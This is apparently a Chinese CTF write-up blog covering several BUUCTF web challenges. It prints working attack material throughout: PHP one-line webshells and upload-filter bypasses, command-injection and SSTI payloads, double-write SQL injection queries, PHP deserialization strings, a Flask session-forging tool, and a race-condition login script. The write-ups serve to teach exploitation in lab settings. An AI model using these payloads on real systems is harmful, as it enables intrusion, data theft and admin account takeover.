今天是简单的计算器

输什么出什么，猜想应该就是直接把这段拿去当系统命令了，看看源代码

这里通过ajax远程加载calc.php

Ajax即Asynchronous Javascript And XML（异步JavaScript和XML）在 2005年被Jesse James Garrett提出的新术语，用来描述一种使用现
有技术集合的‘新’方法，包括: HTML 或 XHTML, CSS, JavaScript, DOM, XML, XSLT, 以及最重要的XMLHttpRequest。 [3] 使用Ajax技术网
页应用能够快速地将增量更新呈现在用户界面上，而不需要重载（刷新）整个页面，这使得程序能够更快地回应用户的操作。



这里去访问一下calc,php

又有源码，可以看到这里直接使用php的echo命令来进行计算，没动点脑筋，我还以为计算器是他自己写的�，那就是命令注
入了，需要绕过前面的命令

下面的过滤会对黑名单中的每一个值都拿出来连接成正则表达式的字符串，/m表示多行查找，下面是一些参数用法

/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

简单地说就是不能有这些东西,剩下的就是专业知识了，涉及到php解析过程，贴一个大佬的理解
我们知道PHP将查询字符串（在URL或正文中）转换为内部$ _GET或的关联数组$_POST。例如： /?foo=bar变成 Array([foo] =>

“bar”)。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如， /?%20news[id%00=42会转换

为 Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截，那么我们就可
以用以下语句绕过：

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数 %20news[id%00的值将存储到 $_GET[“news_id”]中。

PHP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：

1.删除空白符
2.将某些字符转换为下划线（包括空格）



下面是我的理解，其实就是这个题还有一个WAF，不是这个calc.php里面的，因为可以发现，在输入num=字母的时候就会报
错，但是并没有看到过滤，可能是index.php里面的过滤，但是看不到源码，只能猜测，这里有一个技巧就是WAF只过滤 num参

数，但是如果加一个空格变成 【空格】num，那么WAF检测不到是num参数就不会过滤，但是php是能够检测到，也就是说在
php里面 num =【空格】num，这样构造参数就完成了WAF绕过
综上所述，我们需要加一个空格在传的参数前面，然后就是绕过引号，因为system函数中的内容必须要引号，所以这一条就不
行了，但是首先我们要先扫根目录下的所有文件，这里用到的是scandir("/"),但是“/”被过滤了，所以我们用chr(“47”)绕过,发现flagg
文件

同样的方式去读文件

payload=calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

出来了，php处理参数方式还得好好学一学

[极客大挑战极客大挑战 2019]Upload



又是个文件上传，漂亮的界面

先传个正常的图片上去

？？？正常的图片传不上去，你这个网站的正常功能呢，后来尝试了真正的png和gif都不行，题目不太行，正常的不行，那就穿
个php上去，先尝试正常的一句话木马

<?php eval($_POST('cmd')) ?>



和上图回显一样，都是no image，看来是有类型过滤，那么就通过抓包改文件类型

获得回显

看来对文件名的后缀还有检测，那么就换后缀名，常用的php后缀绕过有

php,php3,php4,php5,phtml.pht

还有大小写绕过

phP,pHp,PhP...

逐个尝试，发现其过滤是忽略了了大小写的，也就是大小写都是一样被过滤了，变形中只有phtml可以不被过滤，给出下面的回
显



看来对内容还有过滤，这个时候只能换一个木马的形式了，改为没有<?的形式

<script language="php">eval($_POST['shell']);</script> 

得到回显

看来还是没有传上去，加个文件头试试看这是GIF的文件头，可能对这个也有检测，再按前面的要求改好

成功了



文件上传的目录一般都是根目录下uploads或upload，都试一下看一看

这貌似没关目录读取权限，一看都是以前的人传的木马，话说容器都不删除的嘛



蚁剑链接成功,根目录下拿到flag

既然进去了，那就看看源码呗

先看看index.php，发现就是个表单，略过

<!DOCTYPE html>
<html lang="zh">

<style>



.button {
    background-color: #5DADE2; /* Green */
    border: none;
    color: white;
    padding: 8px 20px;
    text-align: center;
    text-decoration: none;
    display: inline-block;
    font-size: 12px;
    margin: 4px 2px;
    cursor: pointer;
    -webkit-transition-duration: 0.4s; /* Safari */
    transition-duration: 0.4s;
    border-radius: 8px;
}

.button:hover {
    background-color: #555555;
    color: white;
}
</style>

<head>
<meta charset="UTF-8">
<title>上传头像</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>

<body>
 <div class="Vidage">
  <div class="Vidage__image"></div>
  <video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
   <source src="videos/bg.webm" type="video/webm">
   <source src="videos/bg.mp4" type="video/mp4">
  </video>
  <div class="Vidage__backdrop"></div>
 </div>

 <form action="upload_file.php" method="post" enctype="multipart/form-data">
 </br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
     <div align="center">
      <label for="file" style="font:20px Georgia,serif;">图片：</label>
      <input type="file" name="file" id="file" >
      <input type="submit" name="submit" value="提交" class="button">
     </div>
 </form>

 <script src="dist/scripts/Vidage.min.js"></script>
 <script>
  new Vidage('#VidageVideo');
 </script>

 <div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>



再看看upload_file.php

<!DOCTYPE html>
<html lang="zh">

<style>
    .error {
        font-family:Microsoft YaHei;
        font-family:arial;
        color:red;
        font-size:40px;
        text-align:center;
    }
</style>

<head>
<meta charset="UTF-8">
<title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>

<body>
    <div class="Vidage">
        <div class="Vidage__image"></div>
        <video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
            <source src="videos/bg.webm" type="video/webm">
            <source src="videos/bg.mp4" type="video/mp4">
        </video>
        <div class="Vidage__backdrop"></div>
    </div>
    
    <script src="dist/scripts/Vidage.min.js"></script>
    <script>
        new Vidage('#VidageVideo');
    </script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
<?php
$file = $_FILES["file"];

// 允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp));        // 获取文件后缀名
$image_type = @exif_imagetype($file["tmp_name"]);
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480)    // 小于 20 kb
{
    if ($file["error"] > 0){

        echo "ERROR!!!";
    }



    }
    elseif (in_array($extension, $allowedExts)) {
        echo "NOT！".$extension."!";
    }  
    elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
        echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
    }
    elseif (!$image_type) {
        echo "Don't lie to me, it's not image at all!!!";
    }
    else{
        $fileName='./upload/'.$file['name'];
        move_uploaded_file($file['tmp_name'],$fileName); 
        echo "上传文件名: " . $file["name"] . "<br>";
    }
}
else
{
    echo "Not image!";
}
?>
</strong>
</div>

    <div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>

可以看到这一行

就是获取文件头的操作，也证实了之前的猜想，但是为什么正常图片不行，确实百思不得其解，只有当php直接改为jpg的时候是
可以的，一个正常的图片不行，这是为什么呢？

[极客大挑战极客大挑战 2019]PHP
今天发晚了一点点，是说忘了什么事情，PHP题目，看起来很有趣，一个猫在玩毛线球



这个js羡慕了，我也想弄一个，先照常看源码，没什么提示，上面写了有备份的习惯，那应该就是爆目录看备份在哪里了,网上都
说用什么dirsearch这个工具，我还是个俗人，就喜欢图形化界面，我就用御剑直接扫出来了，只要字典大，不怕扫不出来，注
意线程数不要太多，不然会导致429错误，你就什么都扫不到

增强版字典就是那么任性，需要的可以私信我

获得www.zip文件，打开看一看



flag.php是骗人的，就略过了，看看index.php，果然源码审计才是最考验技术的，这个源码就不用贴了，想要自己去下就行了，
注意到这里

先包含了一个class.php，观察一下



<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

可以发现整体逻辑就是index.php接受了一个select参数然后将其反序列化（基础知识看这），而calss.php是如果
password=100，username=admin，在执行__destruct()的时候可以获得flag，所以我们需要达成这些要求，这个wakeup看起来
就很不友善，会把你的admin给改掉,那么调用过程是什么呢

_wekup()函数是在反序列化操作时，unserialize()函数会先检查有没有存在一个名为 __wakeup()的函数，如果存在，先执行 __wakeup()

而__destruct()则是析构函数

在 PHP 中有一种垃圾回收机制，当对象不能被访问时就会自动启动垃圾回收机制，收回对象占用的内存空间。而析构函数正是在垃圾回收
机制回收对象之前调用的。

https://www.cnblogs.com/junyi-bk/p/11631685.html


那么就是说这个class.php的全部内容都会在传入select参数后进行调用，只要传入一个序列化后的类，销毁时就会自动执行，我
们先用php声明一个类并且进行序列化，推荐在本地安装php环境，如果嫌麻烦一定要选一个比较好的在线环境，推荐这个网
站有的网站垃圾运行出乱码，还以为是自己的代码写的有问题

用下面这段代码运行出来

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

得到这个 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}通过输入这个反序列化时符合条件就能输出

flag，但是wakeup函数显然需要绕过，有个很简单的漏洞在这

在反序列化字符串时，属性个数的值大于实际属性个数时，会跳过 __wakeup()函数的执行

我们首先要知道序列化的字段分别代表是什么意思，这篇这篇说的太透彻了，网上其它的讲这个字段意思的都是答非所问，服了，

总之，改下参数个数看看行不行

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

测试

payload=?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

https://tool.lu/coderunner/
https://www.cnblogs.com/bmjoker/p/13742666.html


好像不太行，这里有个新知识,是关于类里面的私有变量的

private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化
时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

由于这两个变量是私有变量，所以要修改一下payload

payload=?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

出了

还不错，学了个新知识，虽然有点晚了

[ACTF2020 新生赛新生赛]Upload



应该还是个文件上传题目，打开界面，神神秘秘的

按照常规先看源码，没什么问题，那就先传一个正常的jpg，看能不能传上去

正常的图片是能够传上去的，而且还给了上传路径，访问一下这个路径

看来是真的传上去了，下面直接一句话木马的常规流程开始测试，大概流程如下



1、直接一句话木马
2、改后缀绕过
3、改文件类型
4、改文件头

先一梭子下去，不行再另外找办法，先直接一句话木马的php

前端有过滤，这个时候直接在本地改为jpg再抓包改为php绕过前端过滤，这样文件类型和后缀都改了，但是得到回显

看来是文件头的问题，但是加了个头还是不行，那就改后缀吧，反正搞来搞去就这些东西，具体后缀怎么改可以参考我的上一上一

篇篇，这里试来试去只有phtml可以，跟上面一题一样

https://blog.csdn.net/qq_44799683/article/details/119947351


上传成功，去连指定路径

拿到flag
这题比上次那个还简单

[护网杯护网杯 2018]easy_tornado
咱英语也不好，看不懂这题目是啥意思，查一查

好吧，还是不懂，直接开始做题吧

看到三个目录，分别打开一看,写着如下内容

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))



可以观察其请求头

后面有个filehash，相当于进行了一个验证操作，假如直接访问flag文件而不带这个hash，就会如下

这也是一个安全机制，经过昨天的研究，原来是一个模板题，因为看到了render这个渲染函数，具体网页模板相关的知识可以看
看这个博客这个博客算是写的最入门的了，模板解决的就是前后端分离的问题，方便进行编程，就相当于解决了为了前端界面响应而困

扰我这个本科生的php进行echo html语句的愚蠢操作，前端也可以进行响应式的操作，动态变化，而前端文档又可以相对固定不
变，这个渲染函数就是将后端对应的变量映射到前端上去，实现前端的动态变化，而这个模板写的不谨慎，将用户输入直接当作

模板内容的时候就会造成一些危险

其实我的理解模板注入跟xss差不多，只是一个是用户输入代码当做js执行，一个被当作模板进行渲染，都会造成预期之外的结
果，这里做个模拟。

假设前端源代码不需要内容

后端的代码为

<?php
    require_once(dirname(__FILE__).'Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
    echo $output;
?>

这个时候用户输入就会被重新渲染，输出一些意料之外的结果，如果未过滤，xss也是可行的
接着看题，msg=error是判定失败的跳转，这里输入什么就输出什么,先尝试一波xss，似乎有过滤

再看看模板注入,同样也被过滤了

这里我们的目的是获得cookie_secret,这里就有个知识点需要掌握

https://www.jianshu.com/p/b6f1aea3a2eb


在tornado模板中，存在一些可以访问的快速对象,这里用到的是handler.settings，handler 指向RequestHandler，而
RequestHandler.settings又指向self.application.settings，所以handler.settings就指向RequestHandler.application.settings了，这里面就是
我们的一些环境变量

也就是在后端有些直接可以通过模板访问到的变量，也可以看作全局变量吧，cookie_secret就是其中之一，听起来有点绕，但
是目的就是为了找到我们需要的这个变量的位置，这个地方的原理参见这个博客这个博客

总之，看懂之后构造payload

payload=error?msg={{handler.settings}}

获得secret_cookie

然后按照它的步骤与文件名一起进行md5

import hashlib
def md5(s):
 md5 = hashlib.md5()
 md5.update(s.encode("utf8"))
 return md5.hexdigest()
filename = '/fllllllllllllag'
cookie_secret = '562de4e0-c8ba-465f-8c69-03ddf7e5faf7'
print(md5(cookie_secret+md5(filename)))

得到结果

再按照格式访问,即可得到flag

这个题主要的难点就是在模板注入参数的寻找上，需要知道其位置与名字才能够注入出来，这也是一种全新题型，认真学习

[极客大挑战极客大挑战 2019]BabySQL
又是个sql注入，不过sql注入确实在实际应用中还是很有用的，值得学习

https://www.cnblogs.com/bwangel23/p/4858870.html


这个网站三连了，第一次是万能密码，第二次是联合查询注入，这次是什么呢,先来个万能密码试一试

这次竟然报错了



但是可以注意到，我们输入的or不见了，应该正是因为这个才会报错的,同理，我们发现使用union select 同样会报错，这两个字
段都被过滤了

这里猜测是有替换函数将指定字段换成了空导致的，对付这种不是强正则匹配的方式很简单，双写绕过即可，构造payload

payload=1' ununionion seselectlect 1,2,3# 

熟悉的界面，说明成功了，这里正好复习一下最基础的联合查询注入流程，首先探究显示位这步已经完成了，看到是2或者3这
两个位置都可以注入，但是经过验证，只有3这个地方可以输出字符串，所以拿3来做注入点
数据库就不看了，默认是MySQL，不行再说
接下来看表名

payload=1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=databa
se()# 



看到这个b4bsql表，先去看看这个表里面的内容,这里面还有一些细节，比如说information中也有一个or，这里也要双写，这都是
从注入的报错信息中发现的

payload=1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=dat
abase() anandd table_name='b4bsql'#

payload=1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#



成功

这个题相当于复习了一遍联合查询注入了

[ACTF2020 新生赛新生赛]BackupFile
删除我之前说的御剑好用的说法，dirsearch yyds，因为御剑无法控制扫描速度，在buuctf的环境里有访问频率限制导致永远也扫
不到，都是429太快了，这里使用dirsearch的延迟功能，一般常用用法是这样

这个题使用

python dirsearch.py -u http://c76a7262-9c68-4cec-98bc-ec95fa494c8c.node4.buuoj.cn:81/ -e * -s 5



经检测，再快了就会出现429频率过高的错误，当然也可以改线程数，反正让它慢下来就行,晚网上那些一大堆429中间一个200
的我都不知道是怎么实现了，从理论上来说有几率扫不到，如下图，不限制是根本找不到的，因为都是429

下图是延迟5s后的结果

flag.php访问了一下之后发现不行，是空的，所以下载这个index.php.bak，发现如下代码



<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

这里涉及到一个php语法

== 为弱相等，也就是说12==“12” --> true，而且12==“12cdf” --> true，只取字符串中开头的整数部分，但是1e3dgf这样的字符串在比较
时，取的是符合科学计数法的部分：1e3，也就是1000.
而且bool类型的true和任意字符串的弱类型相等

所以这里只需要构造一个key=123的get包上传即可

flag出了。所以这题主要是考扫描工具的使用，特别是有频率限制的这类请求，一定要注意限制自己的请求频率，不然可能字典
里面有都扫不出来

[HCTF 2018]admin
这个题一看就很牛逼，还要60s，必然很复杂，自己开始做的时候有误解，请以一个菜鸡的身份看我的想法，再看正确的解法

我的初始想法我的初始想法



进去一看，一个登录一个注册，都去看看

首先是登录，会不会存在弱密码或者是sql注入呢,说了用户名是admin，密码拿常用密码爆破一波

啊这，还没跑到100个就出来了，看来注册完全没用呀



这就出了，看来这题完全是考察burp suite的爆破模块呀，记录一下使用方式吧

首先代理抓到包之后发到intruder里面，然后进入该模块



先clear所有的，再选中想要爆破的部分，也就是里面的11111，选中文本后点Add，然后进入payloads部分,选择simplelist导入我
们的字典，常用密码表网上一搜一大堆，随后直接开始即可

开始界面跑完后按照length排序就可以看到不一样的那个，那就可能是登陆成功的报文



————————————————————————————————————————————
更新于次日

突然发现没那么简单，这个题爆破出来是纯巧合，是我无知了，原来有三种方式来解题，就把网上的WP复现一下然后自己多学
一点吧，果然没那么简单，以下是网上的三种姿势，上面的弱密码是最简单的一种，介绍下剩下两种高大上的

大佬的前置步骤大佬的前置步骤

原来自己这种菜鸡的做法跟大佬不同，大佬上来先sql注入，不像我上来就爆破，但是尝试之后发现注入不行，直接注册了一个
账号,然后再登录之后就会出现

点post就会出现下面这个留言板一样的东西



大佬一般都会注入这个地方，但是这个地方xss似乎也不太行,查看源码，发现如下

猜测只有在admin用户登录下才可以拿到flag,接下来在查看源码界面看到如下注释（这注释着实不好找）

这里有源码的地址，拿下来看一看，学东西果然任重道远呀，这题是python flask框架，多年来只闻其声不见其人，今天就来好
好了解一下,下面这个网站不能再详细了，好好学一学（原博客访问不了，只有这个转载的了）

python flask入门看这入门看这

https://blog.csdn.net/sinat_38682860/article/details/82354342


好了好了看了大半天这篇博客基本上了解了flask的基本用法了，现在开始正式尝试这几种解法
首先看路由，如下

@app.route('/code')
def get_code():

@app.route('/index')
def index():

@app.route('/register', methods = ['GET', 'POST'])
def register():

@app.route('/login', methods = ['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/change', methods = ['GET', 'POST'])
def change():

@app.route('/edit', methods = ['GET', 'POST'])
def edit():

可以了解到整个界面的调用过程,可以看到主界面是直接调用index.html模板进行渲染，打开看一看

发现只要用户登录且sessionname是admin就可以显示出来flag，自然而然地想到了第一种方式

解法一：解法一：flask session伪造伪造



flask的session是存储在客户端cookie中的，而且flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防
止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题，基
础知识看这。我们可以用python脚本把flask的session解密出来，但是如果想要加密伪造生成我们自己的session的话，还需要知
道flask用来签名的密钥，在github源码里找找，可以在config.py里发现下面代码

我们就假设这个environ没有get到，直接用后面的ckj123当作密钥了，在GitHub上找一个flask框架的session加解密脚本如下，名
字叫flask_session_cookie_manager.py，链接点这里

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

https://www.leavesongs.com/PENETRATION/client-session-security.html#
https://github.com/noraj/flask-session-cookie-manager


                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False



                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):



            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

这个代码的具体原理就不赘述了，可以去看看密码学知识，但是搞这块的也不需要面面俱到，像这样现成的工具拿着用就行了，

说下用法，这个python2和3都有，用法贴上，一目了然

Encode

usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -t <string>, --cookie-structure <string>
                        Session cookie structure

Decode

usage: flask_session_cookie_manager.py decode [-h] [-s <string>] -c <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -c <string>, --cookie-value <string>
                        Session cookie value

我们把登陆界面的cookie弄下来

使用上面的方法解密

将用户名改为admin后重新编码并且使用签名密钥



抓个包，把生成的伪造session替换掉

即可拿到flag，妙呀
多提一句，这个脚本，其实在运行的时候有点问题，按理说解密是不需要密钥的，但是对比上面解密加密的两张图可以发现，如

果解密没有密钥，生成的字符串是byte’'格式的，而且里面是双引号，但是在Windows下后面加密双引号用单引号包裹是会有问
题的，但是解密的时候加上密钥解出来就是正常的string格式，里面是单引号，这样后面双引号包裹的时候就不会出错，所以这
题解密的时候最好加上密钥，不然后面处理很麻烦，这算是脚本的问题吧。

解法二：解法二：Unicode欺骗欺骗



这个就着实太高大上了，这里只能参考别人的博客了，我们可以发现，不管是login、register还是change页面，只要是关于
session[‘name’]的操作，都先用了strlower函数将name转成小写

只是这里不是python中有自带的转小写函数lower，重写了一个

这里用到了nodeprep.prepare函数，而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep
import nodeprep，在requirements.txt文件中，发现这里用到的twisted版本是Twisted==10.2.0，而官网最新版本已经差别很大了

估计是存在什么漏洞，这谁知道呢，只能看网上大佬的解说了,如下



这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A，而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话，后台代码调用一次nodeprep.prepare函数，把用户名转换成Admin，我们用ᴬdmin进行登录，可以看到index
页面的username变成了Admin，证实了我们的猜想，接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。
这里发现在改密码函数代码里，也用到了nodeprep.prepare函数，也就是说，我们在这里改密码的话，先会把username改为admin，从而
改掉admin的密码。

我总结一下，就是输入ᴬdmin，创建一个账号，在注册的时候就会调用那个函数，记录里面就会是Admin，同理用ᴬdmin登录，也
会调用该函数变成Admin，然后再使用changepassword再调用一次，直接吧Admin换成了admin，改了admin的密码，但如果一
开始使用Admin，调用该函数其实是admin用户登录，不知道密码是完全无法登录的

然后改密码,直接使用admin+改过的密码即可拿到flag

条件竞争条件竞争



这™纯属神仙做法，有点pwn那味了，利用的是登录和改密码在没有完全验证身份的情况下做了赋值操作（方框赋值椭圆验证身
份）

也就是我创建两个进程，一个专门改密码，一个一直在使用admin尝试登录，可能会有这么一种情况，admin登录进程的name刚
刚赋值给session还没有验证的时候，又被赋值给改密码进程的name，然后admin密码就被改了，这个我也没试，估计成功率不
高，不过也是一种方式吧，贴个网上的代码。



import threading
import requests
import time

def login(s,username,password):
    data = {
        'username':username,
        'password':password,
        'submit':''
    }
    r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
    return r

def logout(s):
    s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
    data = {
        'newpassword':newpass
    }
    s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
    try:
        login(s,'Miracle778','Miracle778')
        change_pwd(s,'Miracle778')
    except Exception:
        pass

def func2(s):
    try:
        logout(s)
        r = login(s,'admin','Miracle778')
        if '<a href="/index">/index</a>' in r.text:
            print(r.text)
            exit(0)
    except Exception:
        pass

for i in range(10000):
    print(i)
    s = requests.Session()
    t1 = threading.Thread(target=func1,args=(s,))
    t2 = threading.Thread(target=func2,args=(s,))
    t2.start()
    t1.start()

这一题学的真多呀，要没事多做一些这种题。

[极客大挑战极客大挑战 2019]BuyFlag
还好极客大挑战都不算太难，打开网页，好像跟上次某个界面差不多



点开buyflag出现如上界面，看源码

有一行提示需要post数据，但是没有表单，这个时候只能使用bp抓包或者浏览器的hackbar插件了，这里就直接抓包改包好了，
这里先发一个正常包，发现这个cookie很是奇怪

改成1试试看



认证成功了，接下来改包为post然后按要求输入参数即可，这个地方注意，要在bp里面将get包转化为post包，主要有三步

1、请求方式修改为POST
2、消息头中加上Content-Type:application/x-www-form-urlencoded
3、 在消息主体中加上需要上传的POST数据

而且这里明显有个is_numeric函数需要绕过，这个地方跟弱等于的原理有点像，加个字符即可，在判断类型的时候为字符串，最
后比较的时候又转化为404了



经过这样一改可以发现还是说hacker，钱还没加呢，这么着急干啥

钱给够，结果发现还限长了，这个地方有两种绕过方式，一种是科学计数法，这个不多说，很容易理解

一种是strcmp函数绕过，采用数组的方式

这里说明一下php中的strcmp漏洞



int strcmp(const char* str1, const char* str2)
{
 int ret = 0;
 while(!(ret=*(unsigned char*)str1-*(unsigned char*)str2) && *str1)
 {
  str1++;
  str2++
 }
 if (ret < 0)
 {
  return -1;
 }
 else if (ret > 0)
 {
  return 1;
 }
 return 0;
}

int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回
0。
可知，传入的期望类型是字符串类型的数据，但是如果我们传入非字符串类型的数据的时候，这个函数将会有怎么样的行为呢？

实际上，当这个函数接受到了不符合的类型，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将
return 0 ，也就是虽然报了错，但却判定其相等。

这里可以看明白它的逻辑，先判断是否超长，超长则返回上面的结果，如果不超长则进行strcmp比较，若结果>=0则给出flag，
所以利用这个漏洞，只要是不同类型不超长的，无论是什么数据都可以获得flag

结束，学到一些东西，过两天找个机会把做过的题按照知识点分类写一个目录，方便以后查阅使用。

